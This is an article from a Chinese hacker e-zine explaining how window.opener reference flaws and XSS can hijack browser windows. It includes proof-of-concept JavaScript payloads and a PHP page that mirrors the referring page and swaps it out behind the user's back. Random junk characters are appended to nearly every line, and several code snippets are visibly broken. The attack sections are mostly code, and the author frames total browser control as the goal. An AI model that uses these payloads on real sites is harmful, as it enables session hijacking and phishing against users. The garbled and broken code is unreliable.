==Ph4nt0m Security Team==4 q. i1 x9 Z3 p4 \1 j
& t) r& U# X; m% M+ ~' c4 t- L
Issue 0x03, Phile #0x05 of 0x07
0 c! l% S. z" X( o5 g9 Z4 n6 P
7 N3 O3 H( X7 r z/ R; E7 B& X( f9 y; R D$ G) R
|=---------------------------------------------------------------------------=|
6 g2 @7 T! D) D$ k r" W6 L' a4 O|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
0 z0 }6 k8 ?9 g% H|=---------------------------------------------------------------------------=|" _& y9 }; Q, o2 ?- S
|=---------------------------------------------------------------------------=|: P7 S/ P- u6 Q7 t6 v
|=------------------------=[ By rayh4c ]=---------------------------=|4 U9 C+ u- m+ U: ^7 a: h
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|5 i6 v8 X* L3 ?" ^* T
|=---------------------------------------------------------------------------=|
7 \3 a9 V8 E, m3 H7 v0 C; T. o9 f7 F; _
) f2 d4 k& t$ S. G' @& V0 [5 c
[目录]
, H: `: v" F- F1 `$ x6 l3 \. I$ Y' V& s2 @
1. 前言, r( E$ C, n; I/ u* j
2. 同源策略简叙: K/ S& S5 q2 l. N! p- Q8 `3 T7 O
3. 理解window对象的同源策略+ s: F/ O* K& w3 d1 f9 F9 G
4. 窗口引用功能中的同源策略漏洞
9 U- {+ u7 n+ Y/ Z" ]' n 4.1 父窗口引用子窗口的同源策略问题
; z/ T/ _% a5 f; ~% ~ 4.2 子窗口引用父窗口的同源策略问题
4 k! i7 G ]& R3 w. I3 P5. 利用窗口引用漏洞劫持浏览器8 e& \4 T# ]8 Y( o0 g' p. E% ]7 z, r
6. 利用XSS漏洞劫持浏览器3 \8 P8 W7 z+ W& A5 F2 ~
6.1 正向跨窗口劫持
$ N; D$ y( x V; v b l 6.2 反向跨窗口劫持2 ^3 B) C1 \0 h! B8 r9 }5 p I3 w
6.3 极度危险的跨框架窗口引用劫持+ m* b( v% R& _4 ]- m1 x
6.4 极度危险的正反向跨窗口递归劫持4 A! C) L$ ? d
6.5 完全控制浏览器+ o. ] r. j. O B0 B
7. 后记
# h, S$ `4 \7 F3 H! B1 u' P' p7 {8. 参考% \: Z2 B# T8 R( R7 s- k# K3 A8 c
& g6 q. B/ _. D1 Z
# M9 N( U# R. a5 w8 O9 j, l) Z
一、前言7 P2 e; C4 t" I1 [- s; Z, W6 |* c2 }
; g6 X. d( W/ H# E% S: B
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋( u* u5 J, R: \3 L
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session' \# H5 c) m; L0 G
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
! W( d! S; c, T6 w/ l条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
% }% g5 A# d) E3 Z' R1 v, K: P, s3 k& p! i2 v# G* P5 i
* {, z, L5 Y! D3 E) q
二、同源策略简叙
, }8 g- m- t8 ~1 M4 X" @$ e! Y, x
2 h4 a; h, X6 @' M' v$ r 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
, A1 Y9 N D# ?3 g* i从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
, E2 C7 x7 I1 e% b* [$ a* H( d2 \# O曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木 `, K! W, ^1 t. ^% T( s
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
) G0 E! D+ C( p! d1 Y漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
1 v0 z5 k& {8 @2 G
* P0 |. L2 s' F# j! N! a3 r I( A6 m( V- T9 T) i! t8 f
三、理解window对象的同源策略) O* y" w" x$ {6 d
3 ~( Q# b6 s/ @$ |# _8 j 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
1 I) ?. ^ H7 h" Z象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:& E. l# q8 b. g
: K6 `5 `. n; [# h& x0 ]
--code------------------------------------------------------------------------- t% g0 [2 H/ o# V# e; ^9 J8 q
<script language="javascript">5 I1 `2 }8 U, r" D, N
for(p in window) document.write(p+"<br>");
, I$ Z* ~) [! T+ [% Y</script>$ v& b1 ~+ G5 [1 K8 N) \: y" {& Z
-------------------------------------------------------------------------------$ S4 r+ e% `) f- v% K
7 N9 }+ g+ }7 R. h, c. ~ 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方% `" {* l% S; D5 ?4 h! K& `" {" Q
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
+ w/ [/ A: c0 k/ J0 v$ G( _这些属性和方法就必须遵循同源策略。; W9 i. e) e" E; y8 w
0 |# p2 _4 @# B& C$ C' W 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
$ L8 Z/ w" O9 H" N; t7 t* l/ Y! m么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
3 o g9 F& v% s1 w% t1 {, T) ~' p的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这% l2 H5 v* g8 }& F- Z
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
. Q; T5 m6 N9 q4 u0 I值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location5 n( H1 ^* g) O) e& I4 _
属性并没有被拒绝访问。# Y2 e, h1 M, @0 e
! i! {2 \8 y7 Z6 j+ {9 Y
--demo.html--------------------------------------------------------------------
; e1 ]' ?/ h& Y3 N% p<script language="javascript">
* F% m0 A6 w! W( ]: R! e/ jfunction allPrpos(obj) { . t$ p+ G. F$ Q
var props = "<table><tr><td>名称</td><td>值</td>"; 7 v5 |4 O. R( c, G |
for(var p in obj){
" d$ b, M: I' n: j. G. k& N if(typeof(obj[p])=="function"){
$ _8 ?* p9 N% d* g( ~ obj[p]();
' G% E3 H& P8 t/ Z- {; \! R3 { }else{ 5 X* s: A5 e5 l) x6 Z- _; g
try + G K$ B6 T5 x0 b7 a$ S
{
, L5 t! e( s: H7 _8 ~8 L props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; % K( W/ V6 j! \& }6 l6 Z: ?& p
} # h; L W- G+ {
catch (ex) 8 @2 G( B& j. A9 g! Z
{
# P. r) h# a1 Y; F% N
( S) E! l4 a) u: y' ^ props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
( \+ m; o6 G/ R' K9 d- f } 0 o4 c! J. j& m1 a+ I- c0 F
3 X- Z( U* ]2 k/ { }
6 q& l: V/ ~0 E* _' J7 L } 0 o n. k6 M" f* b; c4 [) x
" J9 c) e) N+ W7 p- `$ ^) J
document.write(props+"</table>");
& A# [! J! N8 z} , R% Z: I# P9 C3 K9 c
9 U- Q3 y1 }% h6 C
function createWin() {. {' T5 i' ^+ G$ B$ m6 @& _9 O+ j
newWin = window.open ("http://www.google.com");
6 C# H2 e: k! r4 X X3 q setTimeout(function(){allPrpos(newWin)},2000);
1 `4 \6 Y1 Z! C& j9 y}
; R$ n# w( L' ]9 |* ^% [
6 c: G6 t' L* s9 W</script> * w- r7 {- d$ a* E( c$ b
/ C. {4 m g" a/ e( h. H1 l
<button onclick='createWin()'>创建一个非同源子窗口测试</button>8 v L* z- P+ |0 q* ?
-------------------------------------------------------------------------------& x, b# w3 c; O5 \ ?
6 D+ i9 g Y: i) v
1 j% M& n" b1 L; ]0 k! l9 h四、窗口引用功能中的同源策略漏洞4 d! B, i0 |$ c0 z
$ R6 a4 k4 A! _" M/ l% V7 v
4.1 父窗口引用子窗口的同源策略问题
& u5 R6 u- W4 A, j' {# U! Z0 y7 s7 y( b* C8 b$ j) `* F5 _
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,- j s+ C F& F# s# X0 l& s! ^
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
9 t5 ^3 k. b( l- R浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进0 W& C, b2 V5 T5 G3 J
行测试,会发现父窗口可以控制非同源子窗口location属性值。
3 ]* ^( Y2 ~' T a: i
1 \/ h$ y$ E* @. a$ y: l--vul1.html--------------------------------------------------------------------+ t1 ?- p( I* V5 p2 d& O
<script language="javascript"> ! L) K; O* z8 Z7 J) f+ A! X5 s
function createWin() { " F* p' N3 \2 [, X% a4 w
newWin = window.open ("http://www.google.com");
2 b* e- w% e" l- u" ?0 T8 ^7 r setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
6 q8 E* r) w" `' |8 f" W3 P} . B) d5 Q, {% `" Z
</script>" j# x7 ^9 s- |) K
" U) B# [% c* W5 a1 Q1 Q<button onclick='createWin()'>创建一个非同源子窗口测试</button>/ u* G: n9 |: A
-------------------------------------------------------------------------------! i& X1 i2 i' i, e
% n$ z7 b; O3 `! c
& x+ o. p$ l q4.2 子窗口引用父窗口的同源策略问题
4 Z# R; A3 y. q
4 v$ W2 y1 r- c, g7 p$ S 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
; [$ N# k7 E* l7 o7 _用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们, {; I8 h+ Q* l& h8 P
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定* ^9 v, |- m, b7 K: |* b6 ~ |
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
2 W% [2 m G3 P; V1 `: M) M0 j! C$ [! F
--code-------------------------------------------------------------------------1 T! h" S& D0 }$ M6 l
+ [, k( Q; @2 z% L' Mjavascript:window.opener.location = "http://www.80sec.com";void(0);
6 I6 J( z$ @. h( B$ [+ n6 `6 j) C, y3 U" T/ _' q
-------------------------------------------------------------------------------5 { _; c. c& Z2 K- R9 o
% K! h8 y* x! p: _& \1 z
) V1 H: I$ H4 Y6 `9 b: W
五、利用窗口引用漏洞劫持浏览器3 }" L6 O* h7 o- u2 L
6 K/ M+ E, t5 _& `- L 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
' X; t9 w8 m) e8 ~窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
% B- V, V1 |9 ?- k么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
2 \$ c9 F" _6 {, o3 {, @+ d* L# f& M
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产7 F; i6 S& a0 d1 i$ n
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
5 a, J- t `2 L2 ?/ x者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接# h1 n. q- N5 a# i4 x
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下1 p0 \9 u" Z5 u4 N! g! Y% o
会产生什么可怕的后果。
- Q$ u! q0 |- B3 I5 h9 Y S0 a3 P1 c! y) ] j% k& a. f
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我1 I j! m" T! o8 b# b7 \" @/ }
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
$ {' _- e3 U) r这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时8 {" }% u3 N+ [7 D
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
. S* x3 u) r9 k7 T" X. A2 @0 @以做更多的事情,所有的一切仅仅是因为点击了一个链接。$ W8 k5 d# y! {, b3 r, ?# }
9 b2 q- X( z" q. {6 B1 e--hjk_ref.php------------------------------------------------------------------8 J) u/ Q7 a- D" c* j
<?php
! D2 `9 p/ V% T, l, X5 Iif (array_key_exists("HTTP_REFERER", $_SERVER)) {
/ {$ G$ D" m: K$Url_Mirror = $_SERVER["HTTP_REFERER"];
) E1 I& r b3 N} 4 k" q- L1 b7 e
if(isset ($_GET['ref'])) {
/ O+ T/ p. I5 i- ^echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
0 G/ z, t( N2 K5 [" u}9 q/ r* H; O; ?
?>
8 Q* y1 v$ x4 c% M9 y$ a8 E& W; I c7 U/ k& D/ ]
<script language="javascript">" D3 J$ L) L& J
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
/ C" ~, B1 B5 `: k</script>
( a0 ?( B) e7 a3 ?% A+ V2 h% _" B-------------------------------------------------------------------------------) x) }; V2 l* h5 c, \" h8 e* x
+ S# I- m) |7 N
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
6 k" t* v4 N2 h1 }/ V- d% X- n
% a U; z6 t, W7 s2 b
( k& G4 c. l+ y六、利用XSS漏洞劫持浏览器
% ^2 y0 Z7 Z8 A# N/ |3 C
* b. a' M( N/ p/ S$ Y4 ? 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
( U0 N: [. L& b4 M$ L b- Y- c持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后9 h9 M( r0 ^2 |7 J0 L
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起5 j$ ]# ?5 H& ?7 n- T% E
讨论跨站师的终极技巧:
( K5 }' s" m- w. `/ [4 ]' h
0 z" K6 i1 `7 q! d4 ^3 Z) V! g) p; D% h$ }" w3 l
6.1 正向跨窗口劫持 X/ f: s( F" s0 }9 Z( d
# V/ Z) p( X! Q9 Z ?- q& u 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
; H+ R! G6 I, x. T1 m! h主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链2 V0 R, |7 R9 c4 b/ c
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话7 Z5 Y7 T. \0 Y8 M }
框脚本。 6 H1 t2 ^9 G$ s$ w5 h
. m5 ~9 Q$ A8 z
--hijack_open.js---------------------------------------------------------------' o5 F9 p( O9 \
: g: ^' q8 p& @$ ]' ^javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);) r& t5 C3 K) z
/ V7 H4 O: W+ A. f2 W
-------------------------------------------------------------------------------
6 t; |/ l L/ W2 w0 F i
! T/ I0 W5 T4 m$ w" v$ A/ V
% `" c1 O, }4 f2 b" D$ |( s/ d+ D( {3 _) Y6.2 反向跨窗口劫持
2 v) X$ _. E6 D& x: }' s7 i7 e" W' y$ j
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
8 j3 T) h* d& L码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话( F8 V) }1 a8 B1 e+ n4 C
框脚本。) V2 C+ e2 [, G2 G/ q
' s+ c) X5 i! |1 o7 ?--hijack_opener.js-------------------------------------------------------------
1 i# m" p' Q. N3 M" Y6 M
+ O/ P! P% A# a% _' cjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);+ \0 i3 h7 \% ]* m
9 j" F2 g+ v) q, w+ T% Z! O s
-------------------------------------------------------------------------------" K1 k4 E# o2 M9 l
& b6 q" q4 b+ J0 `9 F3 ?
) F1 r# U7 U4 V5 n3 l* e6.3 极度危险的跨框架窗口引用劫持1 J1 V6 ?& T6 a, P7 p" p
9 k- c# j3 H5 k2 i& k* ?3 b# F 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
& @: d8 i/ V* X% F0 N可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就6 N! n" K; h6 O* t! @( q' J
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
; w# k& Z5 N( Y W非持久型的XSS,如下:
! c5 Y1 ~ Q/ b' h* @& M. w( B W* L2 P: b# E/ L
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>9 e$ R1 p. C5 P U" h: _
2 Y* _2 K7 t' H 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口3 J3 S* e0 {4 U' q* M7 r0 B- f
注入脚本。
5 O( d& K9 S- x( P
' a$ ~3 }. o" f1 u--hijack_frame_opener.js-------------------------------------------------------2 U$ z2 ~4 R% F! G B: c6 ]+ _
<script>
0 U/ Z8 F( r+ s) L- V0 [; g' Kwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
^) ]/ P( h, P9 W4 ?</script>" e& i' Y9 r5 R2 u
-------------------------------------------------------------------------------& N9 X- @6 a" T& G$ r2 T! ]# R
$ n3 Q& _( L) B
% X1 C: ~2 N. T4 q6 @9 [/ p' ^" N6.4 极度危险的正反向跨窗口递归劫持
6 {7 p: E9 g! M# x) J7 y
" I; L( D4 D x d) H, z" b; X4 z luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
, |% F6 _/ |/ [( t" `4 T$ ? R/ t的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过3 e3 t% @2 e% X2 o9 s @- \/ G
异常处理规避之间跨域页面的访问异常,代码如下:
5 W- U0 t* w, v% T- g2 `) `, R8 `; v( c, T! Y& s! m% D( [
--code-------------------------------------------------------------------------: p; T: s9 m2 E# P- K
% x0 k( I+ C% m& ^. V+ \javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0); O% {$ G( x$ k6 b% R
0 W2 h3 M$ T3 Z, P1 X2 m4 G& T, G-------------------------------------------------------------------------------
4 ^! W- c, E- K" B5 d8 Z
: F1 }0 F1 S% d7 W' T& J. y4 s 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
9 d% t" {) z3 t& {/ @" y& [+ Z以劫持B域之前的A域页面,从而实现“隔空打击”。0 ~9 |$ R) O4 r' o% s
3 l( ?$ \5 ^6 K. q& { 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面% @' q' i1 t# I# P( J, a, m
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
/ o! X- N3 e# H& m5 R. c6 ^- X" _& o" y' ~3 p6 q [; E. d
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
! E/ t- e+ Z- S2 a3 u9 [. }- q# D1 L" U; _# J8 u0 ?
8 H8 J& m6 `2 l, ^; b% w6.5 完全控制浏览器' N3 M2 b0 n! @+ `
( Z( i% ]: a" b; I1 y `
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则) U3 T! ], v" Z0 @- `
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS, ^6 ]! C2 y" G3 P
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
' K" z! q, d$ f1 }4 y% {8 X0 A而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再6 p1 Z3 h, j$ h- s! C
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站' F/ L* \$ Q! s* o% c: g* C
师的终极目标 - 完全控制浏览器。
5 k' j/ B0 L: C
6 \1 ^6 }; _% j
% M; S' Q, }* q6 Y) v) n七、后记
7 s. _7 x: Q2 q, E+ U" o( Q; T9 p1 B3 W/ \* [
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全, L! E' }' N& e( m6 N
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予8 ?! m6 k* |" u
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
S, D8 x; w& X+ x2 F8 D
1 t4 i/ v A4 V- p; W# `. S* E x! [+ C' G' z/ `% } ^8 h ] l- _
八、参考
& }) q9 Y. C% Y6 v( B
+ D6 v6 \& M7 x9 {1. http://en.wikipedia.org/wiki/Same_origin_policy
- n1 b2 U( t2 s9 `6 o2. http://code.google.com/p/browser ... licy_for_DOM_access
2 A7 F$ a' w+ a5 `6 e2 o3. http://www.w3.org/TR/Window/$ M. X# O: j1 j/ J9 D- \- a+ s4 \
4. http://www.80sec.com/release/browser-hijacking.txt
# s1 Y, ?4 |- X+ q. x5. http://www.80sec.com/all-browser-security-alert.html# m2 j- I% [; o. F9 ~
6. http://www.80sec.com/ms08-058-attacks-google.html
! \" H9 D% L. s* ~2 Y0 \% v
% q' ~& n" r2 F5 M' F. r6 L-EOF- |